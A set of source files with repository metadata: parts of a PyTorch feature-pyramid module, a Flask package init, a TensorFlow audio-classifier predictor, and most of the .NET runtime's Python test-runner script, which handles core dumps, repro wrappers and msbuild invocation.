'unet{}'.format(i+1), TUM(first_level=False, input_planes=self.planes//2, is_smooth=self.smooth, scales=self.num_scales, side_channel=self.planes)) self.reduce= ConvModule(self.in_channels[0], self.shallow_out, kernel_size=3, stride=1, padding=1) self.up_reduce_1= ConvModule(self.in_channels[2], self.in_channels[1], kernel_size=1, stride=1) self.up_reduce_2= ConvModule(self.in_channels[1], self.deep_out, kernel_size=1, stride=1) self.Norm = nn.BatchNorm2d(256*8) self.leach = nn.ModuleList([ConvModule( self.deep_out+self.shallow_out, self.planes//2, kernel_size=(1,1),stride=(1,1))]*self.num_levels) # construct localization and recognition layers conv_out = nn.ModuleList() for i in range(self.num_scales): conv_out.append(nn.Conv2d(self.planes*self.num_levels, self.planes, 3, 1, 1)) self.conv_out = nn.ModuleList(conv_out) # construct SFAM module if self.sfam: self.sfam_module = SFAM(self.planes, self.num_levels, self.num_scales, compress_ratio=16) def init_weights(self): for m in self.modules(): if isinstance(m, nn.Conv2d): xavier_init(m, distribution='uniform') def forward(self,x): assert len(x)==len(self.in_channels) # loc,conf = list(),list() # base_feats = list() # if 'vgg' in self.net_family: # for k in range(len(self.base)): # x = self.base[k](x) # if k in self.base_out: # base_feats.append(x) # elif 'res' in self.net_family: # base_feats = self.base(x, self.base_out) up_feats = x[1] + F.interpolate(self.up_reduce_1(x[2]),scale_factor=2,mode='nearest') base_feature = torch.cat( (self.reduce(x[0]), F.interpolate(self.up_reduce_2(up_feats),scale_factor=2,mode='nearest')),1 ) # tum_outs is the multi-level multi-scale feature tum_outs = [getattr(self, 'unet{}'.format(1))(self.leach[0](base_feature), 'none')] for i in range(1,self.num_levels,1): tum_outs.append( getattr(self, 'unet{}'.format(i+1))( self.leach[i](base_feature), tum_outs[i-1][-1] ) ) # concat with same scales sources = [torch.cat([_fx[i-1] for _fx in tum_outs],1) for i in range(self.num_scales, 0, -1)] # forward_sfam if self.sfam: sources = self.sfam_module(sources) sources[0] = self.Norm(sources[0]) output = [] for (x,cout) in zip(sources, self.conv_out): output.append(cout(x)) return tuple(output)

true

f710330a49da0167ad8b2a80e0fe83ccfd86d6d1

41

py

Python

src/infrastructure/db/models/__init__.py

oliveirahelena/flask-boilerplate

e614ad65f60d5ae04f94ba8e2f7c00d5821cf41f

[ "MIT" ]

null

src/infrastructure/db/models/__init__.py

oliveirahelena/flask-boilerplate

e614ad65f60d5ae04f94ba8e2f7c00d5821cf41f

[ "MIT" ]

null

src/infrastructure/db/models/__init__.py

oliveirahelena/flask-boilerplate

e614ad65f60d5ae04f94ba8e2f7c00d5821cf41f

[ "MIT" ]

null

from .orm import metadata, start_mappers

20.5

40

0.829268

from .orm import metadata, start_mappers

true

f71033e02a6b94c708b484a5a8b6d3a055181306

881

py

Python

test/apis/tensorflow/sound-classifier/predictor.py

wja30/cortex_0.31

522ec6226526dee6b4f8c3ed67bdf2b913d25de3

[ "Apache-2.0" ]

1

2020-09-09T04:04:30.000Z

test/apis/tensorflow/sound-classifier/predictor.py

wja30/cortex_0.31

522ec6226526dee6b4f8c3ed67bdf2b913d25de3

[ "Apache-2.0" ]

null

test/apis/tensorflow/sound-classifier/predictor.py

wja30/cortex_0.31

522ec6226526dee6b4f8c3ed67bdf2b913d25de3

[ "Apache-2.0" ]

null

from scipy.io.wavfile import read import numpy as np import io import csv class TensorFlowPredictor: def __init__(self, tensorflow_client, config): self.client = tensorflow_client self.class_names = self.class_names_from_csv("class_names.csv") def class_names_from_csv(self, csv_file): class_names = [] with open(csv_file, "r", newline="") as f: for row in csv.reader(f, delimiter=","): class_names.append(row[2]) return class_names def predict(self, payload): rate, data = read(io.BytesIO(payload)) assert rate == 16000 result = self.client.predict({"waveform": np.array(data, dtype=np.float32)}) scores = np.array(result["output_0"]).reshape((-1, 521)) predicted_class = self.class_names[scores.mean(axis=0).argmax() + 1] return predicted_class

31.464286

84

0.648127

from scipy.io.wavfile import read import numpy as np import io import csv class TensorFlowPredictor: def __init__(self, tensorflow_client, config): self.client = tensorflow_client self.class_names = self.class_names_from_csv("class_names.csv") def class_names_from_csv(self, csv_file): class_names = [] with open(csv_file, "r", newline="") as f: for row in csv.reader(f, delimiter=","): class_names.append(row[2]) return class_names def predict(self, payload): rate, data = read(io.BytesIO(payload)) assert rate == 16000 result = self.client.predict({"waveform": np.array(data, dtype=np.float32)}) scores = np.array(result["output_0"]).reshape((-1, 521)) predicted_class = self.class_names[scores.mean(axis=0).argmax() + 1] return predicted_class

true

f710345e83902ad2ce3264936bfc7be3a0d99f86

62,597

py

Python

src/tests/run.py

watfordgnf/runtime

301056d6ff8f5ac0dea7fe07a8b450754ad846cb

[ "MIT" ]

1

2020-12-02T16:42:26.000Z

src/tests/run.py

watfordgnf/runtime

301056d6ff8f5ac0dea7fe07a8b450754ad846cb

[ "MIT" ]

1

2020-12-02T09:16:02.000Z

src/tests/run.py

watfordgnf/runtime

301056d6ff8f5ac0dea7fe07a8b450754ad846cb

[ "MIT" ]

null

#!/usr/bin/env python # ## Licensed to the .NET Foundation under one or more agreements. ## The .NET Foundation licenses this file to you under the MIT license. # ## # Title: run.py # # Notes: # # Universal script to setup and run the xunit console runner. The script relies # on run.proj and the bash and batch wrappers. All test excludes will also # come from issues.targets. If there is a jit stress or gc stress exclude, # please add GCStressIncompatible or JitOptimizationSensitive to the test's # ilproj or csproj. # # The xunit runner currently relies on tests being built on the same host as the # target platform. This requires all tests run on linux x64 to be built by the # same platform and arch. If this is not done, the tests will run correctly; # however, expect failures due to incorrect exclusions in the xunit # wrappers setup at build time. # # Note that for linux targets the native components to the tests are still built # by the product build. This requires all native components to be either copied # into the Core_Root directory or the test's managed directory. The latter is # prone to failure; however, copying into the Core_Root directory may create # naming conflicts. # # If you are running tests on a different target than the host that built, the # native tests components must be copied from: # artifacts/obj/<OS>.<Arch>.<BuildType>/tests to the target. If the location is not # standard please pass the -test_native_bin_location flag to the script. # # Use the instructions here: # https://github.com/dotnet/runtime/blob/master/docs/workflow/testing/coreclr/windows-test-instructions.md # https://github.com/dotnet/runtime/blob/master/docs/workflow/testing/coreclr/unix-test-instructions.md # ################################################################################ ################################################################################ import argparse import datetime import fnmatch import json import math import os import platform import shutil import subprocess import sys import tempfile import time import re import string import zipfile import xml.etree.ElementTree from collections import defaultdict from sys import platform as _platform # Version specific imports if sys.version_info.major < 3: import urllib else: import urllib.request # Import coreclr_arguments.py from src\coreclr\scripts sys.path.append(os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "coreclr", "scripts")) from coreclr_arguments import * ################################################################################ # Argument Parser ################################################################################ description = ("""Universal script to setup and run the xunit console runner. The script relies on run.proj and the bash and batch wrappers. All test excludes will also come from issues.targets. If there is a jit stress or gc stress exclude, please add GCStressIncompatible or JitOptimizationSensitive to the test's ilproj or csproj. The xunit runner currently relies on tests being built on the same host as the target platform. This requires all tests run on linux x64 to be built by the same platform and arch. If this is not done, the tests will run correctly; however, expect failures due to incorrect exclusions in the xunit wrappers setup at build time. Note that for linux targets the native components to the tests are still built by the product build. This requires all native components to be either copied into the Core_Root directory or the test's managed directory. The latter is prone to failure; however, copying into the Core_Root directory may create naming conflicts. If you are running tests on a different target than the host that built, the native tests components must be copied from: artifacts/obj/<OS>.<Arch>.<BuildType>/tests to the target. If the location is not standard please pass the -test_native_bin_location flag to the script.""") parser = argparse.ArgumentParser(description=description) parser.add_argument("-os", dest="host_os", nargs='?', default=None) parser.add_argument("-arch", dest="arch", nargs='?', default="x64") parser.add_argument("-build_type", dest="build_type", nargs='?', default="Debug") parser.add_argument("-test_location", dest="test_location", nargs="?", default=None) parser.add_argument("-core_root", dest="core_root", nargs='?', default=None) parser.add_argument("-product_location", dest="product_location", nargs='?', default=None) parser.add_argument("-runtime_repo_location", dest="runtime_repo_location", default=os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))) parser.add_argument("-test_env", dest="test_env", default=None) parser.add_argument("-crossgen_altjit", dest="crossgen_altjit", default=None) # Optional arguments which change execution. # Rid is used only for restoring packages. This is a unspecified and undocumented # environment variable that needs to be passed to build.proj. Do not use this # unless you are attempting to target package restoration for another host/arch/os parser.add_argument("-rid", dest="rid", nargs="?", default=None) parser.add_argument("--il_link", dest="il_link", action="store_true", default=False) parser.add_argument("--long_gc", dest="long_gc", action="store_true", default=False) parser.add_argument("--gcsimulator", dest="gcsimulator", action="store_true", default=False) parser.add_argument("--ilasmroundtrip", dest="ilasmroundtrip", action="store_true", default=False) parser.add_argument("--run_crossgen_tests", dest="run_crossgen_tests", action="store_true", default=False) parser.add_argument("--run_crossgen2_tests", dest="run_crossgen2_tests", action="store_true", default=False) parser.add_argument("--large_version_bubble", dest="large_version_bubble", action="store_true", default=False) parser.add_argument("--precompile_core_root", dest="precompile_core_root", action="store_true", default=False) parser.add_argument("--skip_test_run", dest="skip_test_run", action="store_true", default=False, help="Does not run tests. Useful in conjunction with --precompile_core_root") parser.add_argument("--sequential", dest="sequential", action="store_true", default=False) parser.add_argument("--analyze_results_only", dest="analyze_results_only", action="store_true", default=False) parser.add_argument("--verbose", dest="verbose", action="store_true", default=False) parser.add_argument("--limited_core_dumps", dest="limited_core_dumps", action="store_true", default=False) parser.add_argument("--run_in_context", dest="run_in_context", action="store_true", default=False) # Only used on Unix parser.add_argument("-test_native_bin_location", dest="test_native_bin_location", nargs='?', default=None) ################################################################################ # Globals ################################################################################ g_verbose = False gc_stress = False coredump_pattern = "" file_name_cache = defaultdict(lambda: None) ################################################################################ # Classes ################################################################################ class TempFile: def __init__(self, extension): self.file = None self.file_name = None self.extension = extension def __enter__(self): self.file = tempfile.NamedTemporaryFile(delete=False, suffix=self.extension) self.file_name = self.file.name return self.file_name def __exit__(self, exc_type, exc_val, exc_tb): try: os.remove(self.file_name) except: print("Error failed to delete: {}.".format(self.file_name)) class DebugEnv: def __init__(self, args, env, test): """ Go through the failing tests and create repros for them Args: args env : env for the repro test ({}) : The test metadata """ self.unique_name = "%s_%s_%s_%s" % (test["name"], args.host_os, args.arch, args.build_type) self.args = args self.env = env self.test = test self.test_location = test["test_path"] self.__create_repro_wrapper__() self.path = None if self.args.host_os == "windows": self.path = self.unique_name + ".cmd" else: self.path = self.unique_name + ".sh" repro_location = os.path.join(self.args.artifacts_location, "repro", "%s.%s.%s" % (self.args.host_os, self.args.arch, self.args.build_type)) assert os.path.isdir(repro_location) self.repro_location = repro_location self.path = os.path.join(repro_location, self.path) exe_location = os.path.splitext(self.test_location)[0] + ".exe" if os.path.isfile(exe_location): self.exe_location = exe_location self.__add_configuration_to_launch_json__() def __add_configuration_to_launch_json__(self): """ Add to or create a launch.json with debug information for the test Notes: This will allow debugging using the cpp extension in vscode. """ repro_location = self.repro_location assert os.path.isdir(repro_location) vscode_dir = os.path.join(repro_location, ".vscode") if not os.path.isdir(vscode_dir): os.mkdir(vscode_dir) assert os.path.isdir(vscode_dir) launch_json_location = os.path.join(vscode_dir, "launch.json") if not os.path.isfile(launch_json_location): initial_json = { "version": "0.2.0", "configurations": [] } json_str = json.dumps(initial_json, indent=4, separators=(',', ': ')) with open(launch_json_location, 'w') as file_handle: file_handle.write(json_str) launch_json = None with open(launch_json_location) as file_handle: launch_json = file_handle.read() launch_json = json.loads(launch_json) configurations = launch_json["configurations"] dbg_type = "cppvsdbg" if self.host_os == "windows" else "" env = { "COMPlus_AssertOnNYI": "1", "COMPlus_ContinueOnAssert": "0" } if self.env is not None: # Convert self.env to a defaultdict self.env = defaultdict(lambda: None, self.env) for key, value in env.items(): self.env[key] = value else: self.env = env environment = [] for key, value in self.env.items(): env = { "name": key, "value": value } environment.append(env) configuration = defaultdict(lambda: None, { "name": self.unique_name, "type": dbg_type, "request": "launch", "program": self.args.corerun_path, "args": [self.exe_location], "stopAtEntry": False, "cwd": os.path.join("${workspaceFolder}", "..", ".."), "environment": environment, "externalConsole": True }) if self.args.build_type.lower() != "release": symbol_path = os.path.join(self.args.core_root, "PDB") configuration["symbolSearchPath"] = symbol_path # Update configuration if it already exists. config_exists = False for index, config in enumerate(configurations): if config["name"] == self.unique_name: configurations[index] = configuration config_exists = True if not config_exists: configurations.append(configuration) json_str = json.dumps(launch_json, indent=4, separators=(',', ': ')) with open(launch_json_location, 'w') as file_handle: file_handle.write(json_str) def __create_repro_wrapper__(self): """ Create the repro wrapper """ if self.args.host_os == "windows": self.__create_batch_wrapper__() else: self.__create_bash_wrapper__() def __create_batch_wrapper__(self): """ Create a windows batch wrapper """ wrapper = \ """@echo off REM ============================================================================ REM Repro environment for %s REM REM Notes: REM REM This wrapper is automatically generated by run.py. It includes the REM necessary environment to reproduce a failure that occured during running REM the tests. REM REM In order to change how this wrapper is generated, see REM run.py:__create_batch_wrapper__(). Please note that it is possible REM to recreate this file by running src/tests/run.py --analyze_results_only REM with the appropriate environment set and the correct arch and build_type REM passed. REM REM ============================================================================ REM Set Core_Root if it has not been already set. if "%%CORE_ROOT%%"=="" set CORE_ROOT=%s echo Core_Root is set to: "%%CORE_ROOT%%" """ % (self.unique_name, self.args.core_root) line_sep = os.linesep if self.env is not None: for key, value in self.env.items(): wrapper += "echo set %s=%s%s" % (key, value, line_sep) wrapper += "set %s=%s%s" % (key, value, line_sep) wrapper += "%s" % line_sep wrapper += "echo call %s%s" % (self.test_location, line_sep) wrapper += "call %s%s" % (self.test_location, line_sep) self.wrapper = wrapper def __create_bash_wrapper__(self): """ Create a unix bash wrapper """ wrapper = \ """ #============================================================================ # Repro environment for %s # # Notes: # # This wrapper is automatically generated by run.py. It includes the # necessary environment to reproduce a failure that occured during running # the tests. # # In order to change how this wrapper is generated, see # run.py:__create_bash_wrapper__(). Please note that it is possible # to recreate this file by running src/tests/run.py --analyze_results_only # with the appropriate environment set and the correct arch and build_type # passed. # # ============================================================================ # Set Core_Root if it has not been already set. if [ \"${CORE_ROOT}\" = \"\" ] || [ ! -z \"${CORE_ROOT}\" ]; then export CORE_ROOT=%s else echo \"CORE_ROOT set to ${CORE_ROOT}\" fi """ % (self.unique_name, self.core_root) line_sep = os.linesep if self.env is not None: for key, value in self.env.items(): wrapper += "echo export %s=%s%s" % (key, value, line_sep) wrapper += "export %s=%s%s" % (key, value, line_sep) wrapper += "%s" % line_sep wrapper += "echo bash %s%s" % (self.test_location, line_sep) wrapper += "bash %s%s" % (self.test_location, line_sep) self.wrapper = wrapper def write_repro(self): """ Write out the wrapper Notes: This will check if the wrapper repros or not. If it does not repro it will be put into an "unstable" folder under artifacts/repro. Else it will just be written out. """ with open(self.path, 'w') as file_handle: file_handle.write(self.wrapper) ################################################################################ # Helper Functions ################################################################################ def create_and_use_test_env(_os, env, func): """ Create a test env based on the env passed Args: _os(str) : OS name env(defaultdict(lambda: None)) : complus variables, key,value dict func(lambda) : lambda to call, after creating the : test_env Notes: Using the env passed, create a temporary file to use as the test_env to be passed for run.cmd. Note that this only happens on windows, until xunit is used on unix there is no managed code run in run.sh. """ global gc_stress ret_code = 0 complus_vars = defaultdict(lambda: None) for key in env: value = env[key] if "complus" in key.lower() or "superpmi" in key.lower(): complus_vars[key] = value if len(list(complus_vars.keys())) > 0: print("Found COMPlus variables in the current environment") print("") contents = "" # We can't use: # # with tempfile.NamedTemporaryFile() as test_env: # ... # return func(...) # # because on Windows Python locks the file, and trying to use it give you: # # The process cannot access the file because it is being used by another process. # # errors. tempfile_suffix = ".bat" if _os == "windows" else "" test_env = tempfile.NamedTemporaryFile(mode="w", suffix=tempfile_suffix, delete=False) try: file_header = None if _os == "windows": file_header = \ """@REM Temporary test env for test run. @echo on """ else: file_header = \ """# Temporary test env for test run. """ test_env.write(file_header) contents += file_header for key in complus_vars: value = complus_vars[key] command = None if _os == "windows": command = "set" else: command = "export" if key.lower() == "complus_gcstress": gc_stress = True print("Unset %s" % key) os.environ[key] = "" # \n below gets converted to \r\n on Windows because the file is opened in text (not binary) mode line = "%s %s=%s\n" % (command, key, value) test_env.write(line) contents += line if _os == "windows": file_suffix = \ """@echo off """ test_env.write(file_suffix) contents += file_suffix test_env.close() print("") print("TestEnv: %s" % test_env.name) print("") print("Contents:") print("") print(contents) print("") ret_code = func(test_env.name) finally: os.remove(test_env.name) else: ret_code = func(None) return ret_code def get_environment(test_env=None): """ Get all the COMPlus_* Environment variables Notes: All COMPlus variables need to be captured as a test_env script to avoid influencing the test runner. On Windows, os.environ keys (the environment variable names) are all upper case, and map lookup is case-insensitive on the key. """ global gc_stress complus_vars = defaultdict(lambda: "") for key in os.environ: if "complus" in key.lower(): complus_vars[key] = os.environ[key] os.environ[key] = '' elif "superpmi" in key.lower(): complus_vars[key] = os.environ[key] os.environ[key] = '' # Get the env from the test_env if test_env is not None: with open(test_env) as file_handle: for item in file_handle.readlines(): key_split = item.split("=") if len(key_split) == 1: continue key = key_split[0] value = key_split[1] key = key.split(" ")[-1] value = value.strip() try: value = value.split(" ")[0] except: pass complus_vars[key] = value # Supoort looking up case insensitive. complus_vars[key.lower()] = value if "complus_gcstress" in complus_vars: gc_stress = True return complus_vars def call_msbuild(args): """ Call msbuild to run the tests built. Args: args Notes: At this point the environment should be setup correctly, including the test_env, should it need to be passed. """ global g_verbose common_msbuild_arguments = [] if args.sequential: common_msbuild_arguments += ["/p:ParallelRun=none"] if not os.path.isdir(args.logs_dir): os.makedirs(args.logs_dir) # Set up the directory for MSBuild debug logs. msbuild_debug_logs_dir = os.path.join(args.logs_dir, "MsbuildDebugLogs") if not os.path.isdir(msbuild_debug_logs_dir): os.makedirs(msbuild_debug_logs_dir) os.environ["MSBUILDDEBUGPATH"] = msbuild_debug_logs_dir command = [args.dotnetcli_script_path, "msbuild", os.path.join(args.coreclr_tests_src_dir, "run.proj"), "/p:Runtests=true", "/clp:showcommandline"] command += common_msbuild_arguments if args.il_link: command += ["/p:RunTestsViaIllink=true"] if args.limited_core_dumps: command += ["/p:LimitedCoreDumps=true"] log_path = os.path.join(args.logs_dir, "TestRunResults_%s_%s_%s" % (args.host_os, args.arch, args.build_type)) build_log = log_path + ".log" wrn_log = log_path + ".wrn" err_log = log_path + ".err" command += ["/fileloggerparameters:\"Verbosity=normal;LogFile=%s\"" % build_log, "/fileloggerparameters1:\"WarningsOnly;LogFile=%s\"" % wrn_log, "/fileloggerparameters2:\"ErrorsOnly;LogFile=%s\"" % err_log, "/consoleloggerparameters:Summary"] if g_verbose: command += ["/verbosity:diag"] command += ["/p:TargetOS=%s" % args.host_os, "/p:TargetArchitecture=%s" % args.arch, "/p:Configuration=%s" % args.build_type, "/p:__LogsDir=%s" % args.logs_dir] command += ["/bl:%s.binlog" % (log_path)] print(" ".join(command)) sys.stdout.flush() # flush output before creating sub-process proc = subprocess.Popen(command) try: proc.communicate() except: proc.kill() sys.exit(1) if args.limited_core_dumps: inspect_and_delete_coredump_files(args.host_os, args.arch, args.test_location) return proc.returncode def setup_coredump_generation(host_os): """ Configures the environment so that the current process and any child processes can generate coredumps. Args: host_os (String) : os Notes: This is only support for OSX and Linux, it does nothing on Windows. This will print a message if setting the rlimit fails but will otherwise continue execution, as some systems will already be configured correctly and it is not necessarily a failure to not collect coredumps. """ global coredump_pattern if host_os == "OSX": coredump_pattern = subprocess.check_output("sysctl -n kern.corefile", shell=True).rstrip() elif host_os == "Linux": with open("/proc/sys/kernel/core_pattern", "r") as f: coredump_pattern = f.read().rstrip() else: print("CoreDump generation not enabled due to unsupported OS: %s" % host_os) return if isinstance(coredump_pattern, bytes): print("Binary data found. Decoding.") coredump_pattern = coredump_pattern.decode('ascii') print("CoreDump Pattern: {}".format(coredump_pattern)) # resource is only available on Unix platforms import resource if coredump_pattern != "core" and coredump_pattern != "core.%P": print("CoreDump generation not enabled due to unsupported coredump pattern: %s" % coredump_pattern) return else: print("CoreDump pattern: %s" % coredump_pattern) # We specify 'shell=True' as the command may otherwise fail (some systems will # complain that the executable cannot be found in the current directory). rlimit_core = subprocess.check_output("ulimit -c", shell=True).rstrip() if rlimit_core != "unlimited": try: # This can fail on certain platforms. ARM64 in particular gives: "ValueError: not allowed to raise maximum limit" resource.setrlimit(resource.RLIMIT_CORE, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) except: print("Failed to enable CoreDump generation. rlimit_core: %s" % rlimit_core) return rlimit_core = subprocess.check_output("ulimit -c", shell=True).rstrip() if rlimit_core != "unlimited": print("Failed to enable CoreDump generation. rlimit_core: %s" % rlimit_core) return print("CoreDump generation enabled") if host_os == "Linux" and os.path.isfile("/proc/self/coredump_filter"): # Include memory in private and shared file-backed mappings in the dump. # This ensures that we can see disassembly from our shared libraries when # inspecting the contents of the dump. See 'man core' for details. with open("/proc/self/coredump_filter", "w") as f: f.write("0x3F") def print_info_from_coredump_file(host_os, arch, coredump_name, executable_name): """ Prints information from the specified coredump to the console Args: host_os (String) : os arch (String) : architecture coredump_name (String) : name of the coredump to print executable_name (String) : name of the executable that generated the coredump Notes: This is only support for OSX and Linux, it does nothing on Windows. This defaults to lldb on OSX and gdb on Linux. For both lldb and db, it backtraces all threads. For gdb, it also prints local information for every frame. This option is not available as a built-in for lldb. """ if not os.path.isfile(executable_name): print("Not printing coredump due to missing executable: %s" % executable_name) return if not os.path.isfile(coredump_name): print("Not printing coredump due to missing coredump: %s" % coredump_name) return command = "" if host_os == "OSX": command = "lldb -c %s -b -o 'bt all' -o 'disassemble -b -p'" % coredump_name elif host_os == "Linux": command = "gdb --batch -ex \"thread apply all bt full\" -ex \"disassemble /r $pc\" -ex \"quit\" %s %s" % (executable_name, coredump_name) else: print("Not printing coredump due to unsupported OS: %s" % host_os) return print("Printing info from coredump: %s" % coredump_name) proc_failed = False try: sys.stdout.flush() # flush output before creating sub-process # We specify 'shell=True' as the command may otherwise fail (some systems will # complain that the executable cannot be found in the current directory). proc = subprocess.Popen(command, shell=True) proc.communicate() if proc.returncode != 0: proc_failed = True except: proc_failed = True if proc_failed: print("Failed to print coredump: %s" % coredump_name) def preserve_coredump_file(coredump_name, root_storage_location="/tmp/coredumps_coreclr"): """ Copies the specified coredump to a new randomly named temporary directory under root_storage_location to ensure it is accessible after the workspace is cleaned. Args: coredump_name (String) : name of the coredump to print root_storage_location (String) : the directory under which to copy coredump_name Notes: root_storage_location defaults to a folder under /tmp to ensure that it is cleaned up on next reboot (or after the OS configured time elapses for the folder). """ if not os.path.exists(root_storage_location): os.mkdir(root_storage_location) # This creates a temporary directory under `root_storage_location` to ensure it doesn'tag # conflict with any coredumps from past runs. storage_location = tempfile.mkdtemp('', '', root_storage_location) # Only preserve the dump if the directory is empty. Otherwise, do nothing. # This is a way to prevent us from storing/uploading too many dumps. if os.path.isfile(coredump_name) and not os.listdir(storage_location): print("Copying coredump file %s to %s" % (coredump_name, storage_location)) shutil.copy2(coredump_name, storage_location) def inspect_and_delete_coredump_file(host_os, arch, coredump_name): """ Prints information from the specified coredump and creates a backup of it Args: host_os (String) : os arch (String) : architecture coredump_name (String) : name of the coredump to print """ print_info_from_coredump_file(host_os, arch, coredump_name, "%s/corerun" % os.environ["CORE_ROOT"]) preserve_coredump_file(coredump_name) os.remove(coredump_name) def inspect_and_delete_coredump_files(host_os, arch, test_location): """ Finds all coredumps under test_location, prints some basic information about them to the console, and creates a backup of the dumps for further investigation Args: host_os (String) : os arch (String) : architecture test_location (String) : the folder under which to search for coredumps """ # This function prints some basic information from core files in the current # directory and deletes them immediately. # Depending on distro/configuration, the core files may either be named "core" # or "core.<PID>" by default. We will read /proc/sys/kernel/core_uses_pid to # determine which one it is. # On OS X/macOS, we checked the kern.corefile value before enabling core dump # generation, so we know it always includes the PID. coredump_name_uses_pid=False print("Looking for coredumps...") if "%P" in coredump_pattern: coredump_name_uses_pid=True elif host_os == "Linux" and os.path.isfile("/proc/sys/kernel/core_uses_pid"): with open("/proc/sys/kernel/core_uses_pid", "r") as f: if f.read().rstrip() == "1": coredump_name_uses_pid=True filter_pattern = "" regex_pattern = "" matched_file_count = 0 if coredump_name_uses_pid: filter_pattern = "core.*" regex_pattern = "core.[0-9]+" else: filter_pattern = "core" regex_pattern = "core" for dir_path, dir_names, file_names in os.walk(test_location): for file_name in fnmatch.filter(file_names, filter_pattern): if re.match(regex_pattern, file_name): print("Found coredump: %s in %s" % (file_name, dir_path)) matched_file_count += 1 inspect_and_delete_coredump_file(host_os, arch, os.path.join(dir_path, file_name)) print("Found %s coredumps." % matched_file_count) def run_tests(args, test_env_script_path=None): """ Run the coreclr tests Args: args test_env_script_path : Path to script to use to set the test environment, if any. """ if args.precompile_core_root: precompile_core_root(args) if args.skip_test_run: return # Set default per-test timeout to 15 minutes (in milliseconds). per_test_timeout = 15*60*1000 # Setup the environment if args.long_gc: print("Running Long GC Tests, extending timeout to 20 minutes.") per_test_timeout = 20*60*1000 print("Setting RunningLongGCTests=1") os.environ["RunningLongGCTests"] = "1" if args.gcsimulator: print("Running GCSimulator tests, extending timeout to one hour.") per_test_timeout = 60*60*1000 print("Setting RunningGCSimulatorTests=1") os.environ["RunningGCSimulatorTests"] = "1" if args.ilasmroundtrip: print("Running ILasm round trip.") print("Setting RunningIlasmRoundTrip=1") os.environ["RunningIlasmRoundTrip"] = "1" if args.run_crossgen_tests: print("Running tests R2R") print("Setting RunCrossGen=true") os.environ["RunCrossGen"] = "true" if args.run_crossgen2_tests: print("Running tests R2R (Crossgen2)") print("Setting RunCrossGen2=true") os.environ["RunCrossGen2"] = "true" if args.large_version_bubble: print("Large Version Bubble enabled") os.environ["LargeVersionBubble"] = "true" if gc_stress: print("Running GCStress, extending timeout to 120 minutes.") per_test_timeout = 120*60*1000 if args.limited_core_dumps: setup_coredump_generation(args.host_os) if args.run_in_context: print("Running test in an unloadable AssemblyLoadContext") os.environ["CLRCustomTestLauncher"] = args.runincontext_script_path os.environ["RunInUnloadableContext"] = "1"; per_test_timeout = 20*60*1000 # Set __TestTimeout environment variable, which is the per-test timeout in milliseconds. # This is read by the test wrapper invoker, in src\coreclr\tests\src\Common\Coreclr.TestWrapper\CoreclrTestWrapperLib.cs. print("Setting __TestTimeout=%s" % str(per_test_timeout)) os.environ["__TestTimeout"] = str(per_test_timeout) # Set CORE_ROOT print("Setting CORE_ROOT=%s" % args.core_root) os.environ["CORE_ROOT"] = args.core_root # Set __TestDotNetCmd so tests which need to run dotnet can use the repo-local script on dev boxes os.environ["__TestDotNetCmd"] = args.dotnetcli_script_path # Set test env script path if it is set. if test_env_script_path is not None: print("Setting __TestEnv=%s" % test_env_script_path) os.environ["__TestEnv"] = test_env_script_path #===================================================================================================================================================== # # This is a workaround needed to unblock our CI (in particular, Linux/arm and Linux/arm64 jobs) from the following failures appearing almost in every # pull request (but hard to reproduce locally) # # System.IO.FileLoadException: Could not load file or assembly 'Exceptions.Finalization.XUnitWrapper, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'. # An operation is not legal in the current state. (Exception from HRESULT: 0x80131509 (COR_E_INVALIDOPERATION)) # # COR_E_INVALIDOPERATION comes from System.InvalidOperationException that is thrown during AssemblyLoadContext.ResolveUsingResolvingEvent # when multiple threads attempt to modify an instance of Dictionary (managedAssemblyCache) during Xunit.DependencyContextAssemblyCache.LoadManagedDll call. # # In order to mitigate the failure we built our own xunit.console.dll with ConcurrentDictionary used for managedAssemblyCache and use this instead of # the one pulled from NuGet. The exact code that got built can be found at the following fork of Xunit # * https://github.com/echesakovMSFT/xunit/tree/UseConcurrentDictionaryInDependencyContextAssemblyCache # # The assembly was built using Microsoft Visual Studio v15.9.0-pre.4.0 Developer Command Prompt using the following commands # 1) git clone https://github.com/echesakovMSFT/xunit.git --branch UseConcurrentDictionaryInDependencyContextAssemblyCache --single-branch # 2) cd xunit # 3) git submodule update --init # 4) powershell .\build.ps1 -target packages -buildAssemblyVersion 2.4.1 -buildSemanticVersion 2.4.1-coreclr # # Then file "xunit\src\xunit.console\bin\Release\netcoreapp2.0\xunit.console.dll" was archived and uploaded to the clrjit blob storage. # # Ideally, this code should be removed when we find a more robust way of running Xunit tests. # # References: # * https://github.com/dotnet/runtime/issues/11232 # * https://github.com/dotnet/runtime/issues/11320 # * https://github.com/xunit/xunit/issues/1842 # * https://github.com/xunit/xunit/pull/1846 # #===================================================================================================================================================== print("Download and overwrite xunit.console.dll in Core_Root") urlretrieve = urllib.urlretrieve if sys.version_info.major < 3 else urllib.request.urlretrieve zipfilename = os.path.join(tempfile.gettempdir(), "xunit.console.dll.zip") url = r"https://clrjit.blob.core.windows.net/xunit-console/xunit.console.dll-v2.4.1.zip" urlretrieve(url, zipfilename) with zipfile.ZipFile(zipfilename,"r") as ziparch: ziparch.extractall(os.path.join(args.core_root, "xunit")) os.remove(zipfilename) assert not os.path.isfile(zipfilename) return call_msbuild(args) def setup_args(args): """ Setup the args based on the argparser obj Args: args(ArgParser): Parsed arguments Notes: If there is no core_root, or test location passed, create a default location using the build type and the arch. """ requires_coreroot = args.host_os != "Browser" and args.host_os != "Android" coreclr_setup_args = CoreclrArguments(args, require_built_test_dir=True, require_built_core_root=requires_coreroot, require_built_product_dir=False) normal_location = os.path.join(coreclr_setup_args.artifacts_location, "tests", "coreclr", "%s.%s.%s" % (coreclr_setup_args.host_os, coreclr_setup_args.arch, coreclr_setup_args.build_type)) # If we have supplied our own test location then we need to create a test location # that the scripting will expect. As it is now, there is a dependency on the # test location being under test/<os>.<build_type>.<arch> # Make sure that we are using the correct build_type. This is a test drop, it is possible # that we are inferring the build type to be Debug incorrectly. if coreclr_setup_args.build_type not in coreclr_setup_args.test_location: # Remove punctuation corrected_build_type = re.sub("[%s]" % string.punctuation, "", coreclr_setup_args.test_location.split(".")[-1]) coreclr_setup_args.verify(corrected_build_type, "build_type", coreclr_setup_args.check_build_type, "Unsupported configuration: %s.\nSupported configurations: %s" % (corrected_build_type, ", ".join(coreclr_setup_args.valid_build_types))) if coreclr_setup_args.test_location is not 